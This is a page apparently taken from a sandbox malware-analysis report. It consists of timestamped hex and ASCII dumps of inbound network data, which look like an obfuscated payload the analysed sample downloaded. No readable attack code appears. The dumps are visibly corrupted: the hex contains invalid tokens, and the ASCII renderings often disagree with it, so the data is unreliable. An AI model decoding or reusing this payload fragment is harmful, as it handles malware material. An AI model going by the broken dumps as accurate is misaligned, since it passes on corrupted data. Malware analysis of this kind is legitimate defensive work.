59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 6f 4f 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 4b 20 59 4f 20 59 4b 20 6b 4b 20 51
78 20 4f 4f 52 20 4f 78 51
Data Ascii: OOR QE OxO OOo Yx ot QE oKk kY OOK OOY o ORO YO Kk Yo Rx OEk OOE kE OtQ OOo oER YO ox oEo
kK OOR QY OxQ OO0 Yx OOE R YK kK OOK OOt OxQ OO0 Yt KQ Yx YK tR OOK OOt OxQ KE YO Kk Yx YE kK OOK
00t Qk 000 Yx KQ Yx YK kk OOK 000 OxQ 000 Yx KK YO YK kK Qx OOR OxQ

2021-10-29 18:29:21 UTC 1670 IN Data Raw: 4b 20 59 78 20 4f 6f 52 20 4b 78 20 4f 4f 4b 20 51 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 59 78 20 59
4b 20 6b 6f 20 4f 4f 4b 20 6f 4b 51 20 6f 59 59 20 4f 4f 6f 20 4b 51 20 59 6b 20 59 78 20 59 4b 20 6b 59 20 4f 78 59 20 52
51 20 4f 78 59 20 4f 4f 6f 20 4f 4f 4b 20 4b 51 20 59 78 20 59 4b 20 51 59 20 4f 4f 4b 20 4f 4f 74 20 4f 6f 4b 20 45 20 4f 6f
4f 20 4b 51 20 59 78 20 4b 6b 20 51 4b 20 4f 4f 6f 20 6f 52 20 59 6f 20 4f 4f 6f 20 59 78 20 59 6b 20 51 45 20 4f 78 51 20
6b 4b 20 4f 4f 4b 20 4f 6f 74 20 4f 78 6f 20 74 6f 20 4f 4b 59 20 4b 6b 20 59 78 20 59 4b 20 6b 45 20 6f 51 20 4f 6f 6f 20 4f
78 51 20 4f 4f 6f 20 59 52 20 52 6b 20 45 74 20 59 4b 20 6b 4b 20 4f 4f 59 20 4f 6f 4f 20 4f 78 4f 20 45 4f 20 4f 4f 78 20 4b
6b 2059 78 20 52 78 20 45 6b
Data Ascii: K Yx OoR Kx OOK Qt OxQ OO0 Yx Kk Yx YK ko OOK oKQ oYY OO0 KQ Yk Yx YK kY OxY RQ OxY OOo
OOK KQ Yx YK QY OOK OOt OoK E 000 KQ Yx Kk QK OO0 oR Yo 000 Yx Yk QE OxQ kK OOK Oot Oxo to OKY Kk Yx
YK kE 0Q Ooo OxQ OO0 YR Rk Et YK kk OOY 000 OxO EO OOx Kk Yx Rx Ek

2021-10-29 18:29:21 UTC 1672 IN Data Raw: 20 4f 4f 4b 20 4f 6f 4f 20 4f 78 51 20 4f 4f 6f 20 45 59 20 52 74 20 4b 45 20 59 4b 20 6b 4b 20 4f 6f 78 20 4f 6f
74 20 4f 4f 4f 20 4f 4b 20 4b 6b 20 4b 51 20 59 78 20 59 78 20 4f 4f 45 20 51 59 20 51 6b 20 74 59 20 4f 4b 20 59 4f 20 4b
51 20 59 78 20 59 78 20 4f 74 78 20 4f 4f 52 20 4f 59 4f 20 4f 78 6b 20 4f 4f 6f 20 59 6f 20 52 74 20 4b 78 20 59 4b 20 6b
4b 20 4f 6 78 20 6b 78 20 6f 45 74 20 4f 4f 4b 20 59 4f 20 4b 6b 20 59 4b 20 45 78 20 6b 59 20 4f 4f 4b 20 4f 4f 74 20 74
78 20 45 4f 20 4b 52 20 4b 6b 20 59 78 20 52 78 20 51 59 20 74 4b 20 52 4b 20 4f 78 6b 20 4f 4f 6f 20 59 78 20 59 59 20
51 45 20 4b 45 20 6b 4b 20 4f 4f 4b 20 4f 6f 74 20 51 74 20 4f 6f 78 20 4b 6f 20 45 51 20 45 74 20 4f 6b 74 20 4f 6f 20 4f 4f
4b 20 4f 4f 74 20 4f 78 6b 20 6b 59
Data Ascii: OOK 000 OxQ OO0 EY Rt KE YK kK Oox Oot OO0 OK Kk KQ Yx Yx OOE QY Qk tY OK YO KQ Yx Yx Otx
OOR OYO Oxk 000 Yo Rt Kx YK kK Oox kx oEt OOK YO Kk YK Ex kY OOK OOt tx EO KR Kk Yx Rx QY tK RK Oxk
000 Yx YY QE KE kK OOK Oot Qt Oox Ko EQ Et Okt Oo OOK OOt Oxk kY

2021-10-29 18:29:21 UTC 1673 IN Data Raw: 20 74 6f 20 4b 6b 20 59 78 20 59 4b 20 4f 45 6b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4b 78 20 59 4f 20 4b 6b
20 59 78 20 59 52 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 59 78 20 59 4b 20 6b 4b 20
Af 4f 4b 20 74 6f 20 4f 78 51 20 4f 4f 6f 20 59 78 20 6f 74 20 59 4f 20 59 4b 20 6b 4b 20 6f 52 20 4f 4f 52 20 4f 78 51 20 4f
4f 6f 20 4b 51 20 4b 6b 20 59 78 20 59 4b 20 51 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 6b 20 4f 4f 4b 20 59 78 20 4b 6b 20 59
78 20 74 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4b 6f 20 4f 4f 45 20 59 78 20 4b 6b 20 74 4b 20 59 59 20 6b 4b 20 4f 4f 4b 20
4f 6f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f
20 59 6f 20 4b 6b 20 59 78 20 59
Data Ascii: to Kk Yx YK OEk OOK OOt OxQ Kx YO Kk Yx YR kK OOK OOt OxQ OO0 Yx Kk Yx YK kK OOK to OxQ OO0
Yx ot YO YK kK o0R OOR OxQ OO0 KQ Kk Yx YK QK OOK OOt Oxk OOK Yx Kk Yx t kk OOK OOt Ko OOE Yx Kk tK YY
kK OOK Oot OxQ OO0 Yx Kk Yx YK kK OOK OOt OxQ OOo Yo Kk Yx Y

2021-10-29 18:29:21 UTC 1674 IN Data Raw: 4f 51 74 20 59 78 20 59 4b 20 6b 78 20 51 78 20 52 52 20 4f 78 51 20 4f 4f 6f 20 59 52 20 52 74 20 4f 78 20 59
4b 20 6b 4b 20 4f 6f 78 20 6f 52 20 4f 51 45 20 4f 4f 6f 20 59 78 20 59 4b 20 51 45 20 4f 45 20 6b 4b 20 4f 4f 4b 20 4f 6f 74
2052 51 20 4b 51 20 59 78 20 4b 6b 20 59 52 20 6b 51 20 51 6b 20 4f 4f 59 20 4f 4f 74 20 4f 78 74 20 51 74 20 59 6f 20
59 52 20 45 59 20 59 78 20 74 6b 20 6f 59 59 20 4b 74 20 4f 78 51 20 4f 4f 6f 20 59 4f 20 6f 4f 20 6f 6f 52 20 6f 78 6b 20
6b 4b 20 4f 4f 4b 20 4f 4f 45 20 52 51 20 74 4f 20 59 78 20 4b 6b 20 59 52 20 52 51 20 4f 78 6b 20 4f 4f 4b 20 4f 4f 74 20
4f 78 45 20 45 4f 20 4f 59 6b 20 4b 6b 20 59 78 20 4b 6b 20 59 51 20 74 45 20 4f 4f 74 20 4f 78 51 20 4f 6f 6f 20 51 45 20
6b 20 59 4f 20 59 4b 20 6b 6f 20 51 51
Data Ascii: OQt Yx YK kx Qx RR OxQ OO0 YR Rt Ox YK kK Oox oR OQE OO0 Yx YK QE OE kK OOK Oot RQ KQ Yx Kk
YR kQ Qk OOY OOt Oxt Qt Yo YR EY Yx tk oYY Kt OxQ OO0 YO 00 00R oxk kk OOK OOE RQ tO Yx Kk YR RQ Oxk
OOK OOt OxE EO OYk Kk Yx Kk YQ tE OOt OxQ Oo0 QE k YO YK ko QQ

2021-10-29 18:29:21 UTC 1676 IN Data Raw: 4f 4f 6f 20 59 52 20 74 6b 20 4b 4b 20 59 4b 20 6b 4b 20 4f 6f 78 20 6f 52 20 4f 4f 4b 20 4f 4f 6f 20 59 78 20 59
6b 20 45 4b 20 59 4b 20 6b 52 20 4f 78 4f 20 6f 4b 6b 20 59 59 20 4f 4f 6f 20 59 78 20 4b 51 20 6f 45 20 45 6f 20 74 59 20
4b 52 20 6f 45 6f 20 4f 6f 6f 20 45 4f 20 6b 59 20 4b 6b 20 59 78 20 52 78 20 51 59 20 4f 4f 74 20 4f 78 51 20 6f 4b 74 20
Af 4f 78 20 4f 51 4f 20 4f 78 52 20 59 78 20 59 4b 20 6b 59 20 6b 74 20 4f 52 59 20 6f 4b 45 20 4f 4f 6f 20 59 78 20 59 6f
20 6f 52 20 4f 20 6b 4b 20 4f 4f 4b 20 4f 6f 74 20 45 78 20 74 6f 20 59 78 20 4b 6b 20 59 52 20 45 78 20 51 20 4f 4f 4b 20
Af 4f 74 20 4f 78 45 20 51 6f 20 59 6f 20 59 59 20 45 74 20 4f 74 6f 20 51 4b 20 6b 51 20 4f 4f 45 20 4f 78 52 20 4f 78 6f 2
0 4f 52 6b 20 59 6b 20 6f 45 52 20
Data Ascii: OO0 YR tk KK YK kK Oox oR OOK OO0 Yx Yk EK YK kR OxO oKk YY OOo Yx KQ oE Eo tY KR oEo Ooo EO
kY Kk Yx Rx QY OOt OxQ oKt OOx OQO OxR Yx YK kY kt ORY oKE OO0 Yx Yo oR O kk OOK Oot Ex to Yx Kk YR Ex
Q OOK OOt OxE Qo Yo YY Et Oto QK kQ OOE OxR Oxo ORk Yk oER
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kBytes
Timestamp transferred Direction Data

2021-10-29 18:29:21 UTC 1677 IN Data Raw: 59 78 20 59 4b 20 6b 59 20 6b 74 20 4f 52 59 20 4f 52 6f 20 4f 4f 6f 20 59 78 20 59 6f 20 6f 52 20 4f 20 6b 4b
20 4f 4f 4b 20 4f 6f 74 20 45 78 20 74 6f 20 59 78 20 4b 6b 20 59 52 20 52 6b 20 4b 51 20 4f 4f 45 20 4f 4f 74 20 6f 51 20
4f 4b 20 4b 4b 20 4b 6b 20 59 78 20 52 78 20 4f 6f 4b 20 4f 78 51 20 4f 4f 74 20 4f 78 51 20 4f 6f 6f 20 51 45 20 51 6f 20
59 78 20 59 4b 20 51 4b 20 6f 51 20 4b 45 20 4f 78 51 20 4f 4f 6f 20 59 52 20 45 59 20 59 74 20 45 51 20 51 4b 20 51 78
20 74 45 20 4f 78 51 20 4f 4f 6f 20 59 52 20 6f 51 20 51 6f 20 45 51 20 51 59 20 51 78 20 74 45 20 4f 78 51 20 4f 4f 6f 20
59 52 20 6f 51 20 6b 74 20 45 78 20 59 6f 20 4f 4f 4b 20 4f 4f 74 20 4f 78 45 20 51 74 20 59 52 20 6f 4b 20 4f 6f 4f 20 59
4b 20 6b 4b 20 4f 6f 78 20 6f 52 20 4f 6f
Data Ascii: Yx YK kY kt ORY ORo OO0 Yx Yo oR O kK OOK Oot Ex to Yx Kk YR Rk KQ OOE OOt 0Q OK KK Kk Yx Rx
00K OxQ OOt OxQ Ooo QE Qo Yx YK QK 0Q KE OxQ OO0 YR EY Yt EQ QK Qx tE OxQ OO0 YR 0Q Qo EQ QY Qx tE
OxQ OO0 YR 0Q kt Ex Yo OOK OOt OXE Qt YR oK 000 YK kK Oox oR Oo

2021-10-29 18:29:21 UTC 1678 IN Data Raw: 59 20 4f 4f 74 20 4f 78 74 20 51 78 20 52 6b 20 59 78 20 6f 52 20 45 59 20 6b 4b 20 4f 4f 4b 20 4f 4f 59 20 45
4f 20 6b 59 20 59 4b 20 4b 6b 20 52 52 20 45 78 20 4f 4b 4f 20 4f 4f 4b 20 4f 4f 74 20 4f 78 74 20 6b 6b 20 59 52 20 4b 6b
20 59 78 20 6f 51 20 6b 74 20 4f 4f 6b 20 6f 52 20 4f 45 45 20 4f 4f 45 20 59 78 20 59 4b 20 6f 4b 20 59 4b 20 74 4f 20 52
52 20 4f 6f 52 20 4f 78 51 20 51 6f 20 59 78 20 4b 6b 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 4f 4f 20 6b
6b 20 45 51 20 4b 6b 20 59 78 20 4b 6b 20 45 6b 20 4b 59 20 4f 4f 45 20 4f 78 51 20 78 20 6f 52 20 6f 45 45 20 59 78 20
59 4b 20 6b 6f 20 51 78 20 4f 6f 52 20 4f 78 51 20 4f 4f 6f 20 6f 59 20 59 4f 20 59 4b 20 59 4f 20 51 78 20 4f 4f 6b 20 4f 6f
45 20 4f 78 4b 20 4f 6f 52 20 59 6f 20
Data Ascii: Y OOt Oxt Qx Rk Yx oR EY kk OOK OOY EO kY YK Kk RR Ex OKO OOK OOt Oxt kk YR Kk Yx 0Q kt OOk
oR OEE OOE Yx YK oK YK tO RR OoR OxQ Qo Yx Kk Yx YK kk OOK OOt OO0 kk EQ Kk Yx Kk Ek KY OOE OxQ x oR
OEE Yx YK ko Qx OoR OxQ OO0 oY YO YK YO Qx OOk OoE OxK OoR Yo

2021-10-29 18:29:21 UTC 1680 IN Data Raw: 6f 78 20 4f 6b 6b 20 6b 51 20 4f 78 74 20 4f 6b 74 20 52 78 20 4f 4f 4b 20 4f 4f 74 20 4f 78 6b 20 4f 6f 59 20 59
45 20 59 59 20 4f 6b 6b 20 51 59 20 74 59 20 51 6b 20 4b 4b 20 4f 78 4f 20 4f 78 6f 20 4b 59 20 45 6f 20 6f 52 20 6b 51
20 6b 4b 20 4f 4f 4b 20 4f 6f 74 20 4f 78 52 20 4f 78 6f 20 59 51 20 45 6b 20 59 45 20 4f 6b 4b 20 52 4f 20 4f 6f 6f 20 6f 59
4f 20 4b 20 4b 4f 20 6f 52 20 51 59 20 59 78 20 59 4b 20 51 4b 20 4f 20 4f 78 6f 20 4f 78 51 20 4f 4f 6f 20 59 6f 20 59 4f 20
59 6f 20 45 4b 20 51 45 20 4f 6f 6f 20 6f 52 20 74 74 20 4f 4f 6f 20 59 78 20 59 4b 20 45 45 20 59 78 20 4f 45 6b 20 4f 4f 5
120 6b 45 20 4f 74 51 20 4f 4f 6f 20 45 6b 20 6f 52 20 45 59 20 59 78 20 4f 6f 52 20 4f 4f 4b 20 4f 4f 74 20 4f 78 6b 20 51
52 2059 78 20 4b 6b 20 59 78
Data Ascii: ox Okk kQ Oxt Okt Rx OOK OOt Oxk OoY YE YY Okk QY tY Qk KK OxO Oxo KY Eo oR kQ kK OOK Oot OxR
Ox0 YQ Ek YE OkK RO 000 0YO K KO oR QY Yx YK QK O Oxo OxQ OO0 Yo YO Yo EK QE Ooo oR tt OO0 Yx YK EE
Yx OEk OOQ KE OtQ OO0 Ek oR EY Yx OoR OOK OOt Oxk QR Yx Kk Yx

2021-10-29 18:29:21 UTC 1681 IN Data Raw: 4b 20 45 78 20 4b 6b 20 45 51 20 45 20 4f 4f 74 20 4f 78 51 20 4f 6f 6f 20 74 6f 20 6f 4b 20 74 4f 20 59 4b 20
6b 4b 20 4f 6f 78 20 4f 4f 6f 20 6f 20 78 20 59 78 20 4b 6b 20 59 52 20 52 4f 20 6b 52 20 4f 4f 52 20 74 20 6f 4b 78 20 4f 4f
74 20 59 78 20 52 4b 20 59 45 20 4b 51 20 6f 4f 6b 20 6f 74 20 51 51 20 52 51 20 4f 78 74 20 59 78 20 4b 6b 20 59 6f 20
6f 52 20 6b 6f 20 4f 20 4b 20 4f 78 51 20 4f 4f 6f 20 59 52 20 74 4b 20 59 6f 20 6f 6b 20 74 4f 20 52 52 20 4f 6f 74 20 4f 78
51 20 6f 4b 4f 20 59 78 20 4b 6b 20 59 78 20 45 59 20 6b 4b 20 4f 4f 4b 20 4f 78 78 20 4f 4f 4f 20 4f 4f 59 20 52 4b 20 4f
4559 20 59 59 20 59 4b 20 45 52 20 51 78 20 6b 4f 20 4f 78 51 20 4f 4f 6f 20 59 6f 20 45 6b 20 6f 52 20 52 51 20 6b 4b 20
Af 4f 4b 20 4f 6f 74 20 4f 78 45 20
Data Ascii: K Ex Kk EQ E OOt OxQ Ooo0 to oK tO YK kK Oox OO0 0 x Yx Kk YR RO kR OOR t oKx OOt Yx RK YE KQ
00k ot QQ RQ Oxt Yx Kk Yo oR ko O K OxQ OO0 YR tK Yo ok tO RR Oot OxQ oKO Yx Kk Yx EY kk OOK Oxx OO0
OOY RK OEY YY YK ER Qx kO OxQ OOo Yo Ek oR RQ kK OOK Oot OXE

2021-10-29 18:29:21 UTC 1682 IN Data Raw: 78 52 20 51 78 20 6f 6f 4b 20 6f 4b 20 6b 6f 20 59 4b 20 6b 4b 20 4f 6f 78 20 4f 78 52 20 51 74 20 6f 59 45 20
4f 78 4b 20 4b 6b 20 59 78 20 59 59 20 4f 4f 45 20 4f 52 6f 20 4f 45 59 20 4f 78 51 20 4f 4f 6f 20 59 4b 20 6f 4b 20 59 20
59 4b 20 6b 4b 20 4f 6f 78 20 52 20 6b 59 20 4f 4f 6f 20 59 78 20 59 6b 20 6f 52 20 6b 6b 20 6b 4b 20 4f 4f 4b 20 4f 6f 74
20 4f 4f 4f 20 45 4f 20 52 52 20 4b 6b 20 59 78 20 52 78 20 6b 74 20 4f 4f 6b 20 51 45 20 74 4b 20 4f 4f 6f 20 59 78 20 59
4b 20 51 45 20 6b 74 20 6b 4b 20 4f 4f 4b 20 4f 6f 74 20 74 4f 20 4f 4f 6f 20 59 78 20 4b 45 20 6f 20 59 45 20 6b 4b 20 4f
Af 4f 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 45 45 20 4b 6b 20 59 78 20 45 51 20 6b 52 20 51 4b 20 4f 4f 45 20 4f 4f 4f 20 6f
59 4b 20 45 4f 20 59 6f 20 45 6b 20
Data Ascii: xR Qx 00K oK ko YK kK Oox OxR Qt oYE OxK Kk Yx YY OOE ORo OEY OxQ OO0 YK oK Y YK kK Oox R kY
000 Yx Yk oR kk kk OOK Oot OO0 EO RR Kk Yx Rx kt OOk QE tK OO0 Yx YK QE kt kk OOK Oot tO OO0 Yx KE o YE
kK OO0 OOt OxQ OOo EE Kk Yx EQ kR QK OOE OO0 oYK EO Yo Ek

2021-10-29 18:29:21 UTC 1684 IN Data Raw: 6f 6b 20 45 59 20 59 45 20 45 45 20 4f 6f 20 4f 78 52 20 4b 78 20 52 4b 20 4f 6f 4b 20 59 6f 20 52 52 20 4f 4f
52 20 4b 51 20 6b 4b 20 6f 20 51 45 20 74 78 20 4f 4f 6f 20 59 78 20 59 6b 20 59 52 20 4b 51 20 52 74 20 4b 6f 20 4f 6f
52 20 4f 78 52 20 4f 4f 4b 20 51 45 20 4f 74 6b 20 59 78 20 59 4b 20 51 4b 20 74 74 20 45 51 20 4f 4b 52 20 4f 4b 45 20
6f 78 59 20 59 4b 20 6f 4b 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 78 6f 20 51 45 20 4f 4f 74 20 59 78 20 4f 4f 6f 20 59 78 20
59 4b 20 6b 4b 20 4f 78 74 20 4f 4f 74 20 4f 78 51 20 51 74 20 52 59 20 4f 74 51 20 59 78 20 59 4b 20 51 4b 20 4f 6f 78 20
51 51 20 4f 78 6f 20 51 4f 20 6f 78 20 59 4b 20 4b 6b 20 4b 51 20 59 51 20 6b 59 20 4f 4f 74 20 4f 78 51 20 4f 6f 6f 20 4b
51 20 59 59 20 4b 51 20 6b 51 20 6f 78 6b 20
Data Ascii: ok EY YE EE Oo OxR Kx RK OoK Yo RR OOR KQ kK o QE tx 000 Yx Yk YR KQ Rt Ko OoR OxR OOK QE
Otk Yx YK QK tt EQ OKR OKE oxY YK oK YK kK OOK Oxo QE OOt Yx OO0 Yx YK kK Oxt OOt OxQ Qt RY OtQ Yx YK
QK Oox QQ Oxo QO ox YK Kk KQ YQ kY OOt OxQ Ooo KQ YY KQ kQ oxk

2021-10-29 18:29:21 UTC 1685 IN Data Raw: 4f 52 6b 20 4f 74 78 20 59 4b 20 6b 4f 20 4f 6f 59 20 4f 4f 74 20 4f 78 51 20 4f 4f 45 20 4b 4f 20 78 20 59 4f 20
59 4b 20 52 59 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 78 74 20 59 78 20 4b 6b 20 45 59 20 59 6f 20 4b 74 20 4f 4f 6f 20
Af 4F 74 20 4f 78 51 20 4f 4f 52 20 51 45 20 59 78 20 59 4f 20 59 4b 20 6b 6f 20 4f 6f 78 20 4f 74 4f 20 4f 78 4b 20 6b 52
20 45 52 20 59 6b 20 6f 45 52 20 59 4b 20 6b 6f 20 6b 6b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 4f 20 45 6f 20 59 78 20
59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 6f 52 20 52 78 20 4b 6b 20 59 59 20 59 74 20 6b 4b 20 4f 4f 4b 20
4f 4f 52 20 4f 4f 6b 20 52 4b 20 4b 6b 20 4b 6b 20 45 74 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 78 20 4f 78 51 20 4f 4f 6f 2
04559 20 59 78 20 74 45 20 59 6f
Data Ascii: ORk Otx YK kO OoY OOt OxQ OOE KO x YO YK RY OOK OOt OxQ Oxt Yx Kk EY Yo Kt OO0 OOt OxQ OOR
QE Yx YO YK ko Oox OtO OxK kR ER Yk oER YK ko kk OOt OxQ OO0 YO Eo Yx YK kk OOK OOt OxQ OoR Rx Kk YY
Yt kK OOK OOR OOk RK Kk Kk Et YK kk OOK OOx OxQ OO0 EY Yx tE Yo

2021-10-29 18:29:21 UTC 1686 IN Data Raw: 59 78 20 59 6f 20 4b 51 20 6b 51 20 6b 45 20 4f 4f 59 20 4f 4f 74 20 4f 78 74 20 4f 6f 6f 20 6f 45 52 20 59 45 20
6f 78 20 45 6f 20 51 4b 20 4f 74 6f 20 4f 4f 74 20 4f 78 74 20 51 78 20 59 78 20 4b 6b 20 59 4f 20 45 6b 20 6b 4b 20 4f 4f
4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 52 45 20 52 4f 20 59 4b 20 6b 4f 20 4f 6f 59 20 4f 4f 74 20 4f 78 51 20 4f
4f 45 20 4b 4f 20 78 20 4b 6b 20 59 4b 20 52 52 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 78 6b 20 59 78 20 4b 6b 20 45 59
20 59 6f 20 4b 74 20 4f 4f 6f 20 4f 4f 74 20 4f 78 51 20 4f 4f 52 20 4b 51 20 51 59 20 45 52 20 59 59 20 6b 4b 20 4f 4f 52 2
0 4f 6f 74 20 4f 74 51 20 4f 4f 74 20 6f 78 20 45 6b 20 59 52 20 6f 45 6f 20 6b 4b 20 4f 4f 52 20 51 59 20 4f 78 51 20 4f 4f
6f 20 59 4f 20 45 6f 20 59 78
Data Ascii: Yx Yo KQ kQ kE OOY OOt Oxt Ooo 0ER YE ox Eo QK Oto OOt Oxt Qx Yx Kk YO Ek kk OOK OOt OxQ OOo
Yx RE RO YK kO OoY OOt OxQ OOE KO x Kk YK RR OOK OOt OxQ Oxk Yx Kk EY Yo Kt OO0 OOt OxQ OOR KQ QY
ER YY kK OOR Oot OtQ OOt ox Ek YR oEo kk OOR QY OxQ OOo YO Eo Yx

Copyright Joe Security LLC 2021 Page 74 of 97



kBytes
Timestamp transferred Direction Data

2021-10-29 18:29:21 UTC 1688 IN Data Raw: 4f 78 51 20 4f 78 6f 20 59 78 20 4b 6b 20 59 78 20 4b 6f 20 6b 4b 20 4f 4f 4b 20 4f 78 78 20 4f 4Af 4f 20 4f 4f 20
4b 6b 20 4b 6b 20 59 78 20 59 78 20 6b 74 20 6f 51 20 4f 78 6f 20 4f 78 6b 20 4f 4f 6f 20 59 6f 20 59 6b 20 6f 45 52 20 59
4f 20 4f 4f 4b 20 4f 78 78 20 4f 6f 74 20 4f 74 51 20 4f 4f 6f 20 59 6f 20 6f 52 20 59 78 20 59 4b 20 6b 59 20 51 6b 20 4f 4f
74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 59 78 20 59 74 20 51 4f 20 4f 4f 4b 20 4f 4f 6f 20 51 6b 20 4f 4f 6f 20 59 78
20 4b 51 20 4b 4f 20 52 20 6b 52 20 4f 4f 4b 20 51 51 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 4b 20 59 78 20 59 4b 20 52 51
20 4f 4f 6f 20 4f 4b 20 4f 4f 4f 20 4f 4f 6f 20 59 78 20 59 6f 20 4b 51 20 6b 51 20 51 4b 20 4f 4f 59 20 4f 4f 74 20 4f 78 74
20 4f 6f 6f 20 6f 45 52 20
Data Ascii: OxQ Oxo Yx Kk Yx Ko kk OOK Oxx OO0 OO Kk Kk Yx Yx kt 0Q Oxo Oxk OOo Yo Yk oER YO OOK Oxx Oot
OtQ 000 Yo oR Yx YK kY Qk OOt OxQ OO0 Yx Kk Yx Yt QO OOK OO0 Qk OO0 Yx KQ KO R kR OOK QQ OxQ OO0 Yx
KK Yx YK RQ OO0 OK OO0 000 Yx Yo KQ kQ QK OOY OOt Oxt Ooo oER

2021-10-29 18:29:21 UTC 1689 IN Data Raw: 4b 20 4f 4f 52 20 51 59 20 4f 78 6b 20 51 52 20 59 78 20 4b 6b 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 78
45 20 4f 6f 74 20 4f 4f 6f 20 52 6f 20 52 45 20 59 78 20 59 4b 20 6b 59 20 4f 78 59 20 52 51 20 4f 4f 78 20 4f 4f 6f 20 4b 6f
20 4b 6b 20 59 78 20 59 4b 20 74 51 20 4f 4f 4b 20 4f 4f 74 20 4f 6f 4b 20 4f 4f 4b 20 74 45 20 59 78 20 59 78 20 59 4b 20
6b 78 20 4f 4f 45 20 4f 4f 45 20 6f 20 4f 78 59 20 59 4f 20 4b 6b 20 59 6f 20 45 45 20 51 4b 20 4f 74 6f 20 4f 4f 6f 20 74 59
20 4f 78 6f 20 59 52 20 6f 45 6b 20 59 78 20 4b 6b 20 4f 6f 52 20 4f 4f 59 20 4f 78 4f 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b
6b 20 59 78 20 59 4b 20 52 51 20 51 51 20 4f 4f 74 20 4f 78 4b 20 4f 6f 74 20 59 78 20 4b 6b 20 59 4f 20 4f 6f 20 6b 52 20
Af 78 4f 20 6f 52 20 45 52 20
Data Ascii: K OOR QY Oxk QR Yx Kk Yx YK kk OOK OxE Oot OO0 Ro RE Yx YK kY OxY RQ OOx OO0 Ko Kk Yx YK tQ
OOK OOt OoK OOK tE Yx Yx YK kx OOE OOE o OxY YO Kk Yo EE QK Oto OOo tY Oxo YR oEk Yx Kk OoR OOY OxO
OxQ 000 Yx Kk Yx YK RQ QQ OOt OxK Oot Yx Kk YO Oo kR OxO oR ER

2021-10-29 18:29:21 UTC 1690 IN Data Raw: 20 4f 4f 4f 20 51 6b 20 59 52 20 74 6b 20 59 59 20 59 4b 20 6b 4b 20 4f 4f 6b 20 4f 4f 20 4f 78 52 20 4f 4f 6f 20
59 78 20 59 6f 20 6f 52 20 6f 74 20 6b 4b 20 4f 4f 4b 20 4f 4f 59 20 52 51 20 4f 51 59 20 59 4f 20 4b 6b 20 59 6f 20 45 51
20 51 4b 20 4f 6f 74 20 Af 4f 20 4f 78 4f 20 4f 4f 6f 20 59 78 20 59 6f 20 6f 52 20 4f 6b 51 20 6b 4b 20 4f 4f 4b 20 4f 4f 59
20 4f 6f 52 20 4f 4f 52 20 6f 59 20 59 6b 20 4f 6b 20 4f 51 78 20 74 4f 20 4f 4f 4b 20 4f 4f 74 20 52 51 20 6f 45 51 20 59 78
20 4b 6b 20 59 52 20 45 51 20 6b 78 20 4f 4f 52 20 4f 6f 59 20 4f 6f 74 20 4f 4f 59 20 51 45 20 4f 6b 59 20 59 78 20 59 4b
20 6b 6f 20 51 4b 20 4f 59 52 20 4f 78 78 20 51 51 20 59 59 20 45 4b 20 59 59 20 52 51 20 6f 4f 52 20 4f 4f 59 20 4f 4f 74
20 4f 78 74 20 6b 6b 20 4f 4b
Data Ascii: OO0 Qk YR tk YY YK kk OOk OO OxR OO0 Yx Yo oR ot kk OOK OOY RQ OQY YO Kk Yo EQ QK Oot OO
Ox0 000 Yx Yo oR OkQ kK OOK OOY OoR OOR oY Yk Ok OQx tO OOK OOt RQ oEQ Yx Kk YR EQ kx OOR OoY Oot
OO0Y QE OKY Yx YK ko QK OYR Oxx QQ YY EK YY RQ 0OR OOY OOt Oxt kk OK

2021-10-29 18:29:21 UTC 1692 IN Data Raw: 20 4f 6b 6b 20 6b 4b 20 4f 4f 4b 20 4f 4f 59 20 45 78 20 4f 4f 4b 20 4b 6b 20 4b 6b 20 59 6f 20 52 78 20 74 59
20 4f 6f 59 20 6f 4b 6b 20 51 51 20 4f 4f 6f 20 59 78 20 59 78 20 6f 45 20 45 6f 20 52 4b 20 4f 4b 78 20 4f 4f 59 20 59 45
20 4f 4f 6f 20 59 78 20 59 4b 20 52 59 20 4f 6b 45 20 6b 4b 20 4f 4f 4b 20 4f 4f 59 20 6f 78 74 20 6b 59 20 45 74 20 45 52
20 6f 78 4b 20 4b 6b 20 4f 45 20 4f 4f 4b 20 4f 4f 74 20 4f 78 74 20 45 20 4f 74 51 20 4b 6b 20 59 78 20 4b 6b 20 6f 4b 52
20 6b 74 20 4f 78 51 20 4f 6f 4f 20 4f 4b 6f 20 59 6f 20 4f 78 52 20 59 78 20 59 4b 20 6b 6f 20 4f 20 6f 4b 4b 20 4f 78 51 20
Af 4f 6f 20 59 6f 20 4f 4b 52 20 6f 45 20 4b 74 20 52 4b 20 4f 4b 78 20 4f 4f 59 20 59 4b 20 4f 4f 6f 20 59 78 20 59 4b 20 5
2 59 20 4f 6b 45 20 6b 4b 20 4f 4f
Data Ascii: Okk kk OOK OOY Ex OOK Kk Kk Yo Rx tY OoY oKk QQ OO0 Yx Yx oE Eo RK OKx OOY YE OOo Yx YK RY
OKE kK OOK OOY oxt kY Et ER oxK Kk OE OOK OOt Oxt E OtQ Kk Yx Kk oKR kt OxQ 000 OKo Yo OxR Yx YK ko O
oKK OxQ OO0 Yo OKR oE Kt RK OKx OOY YK OO0 Yx YK RY OKE kK OO

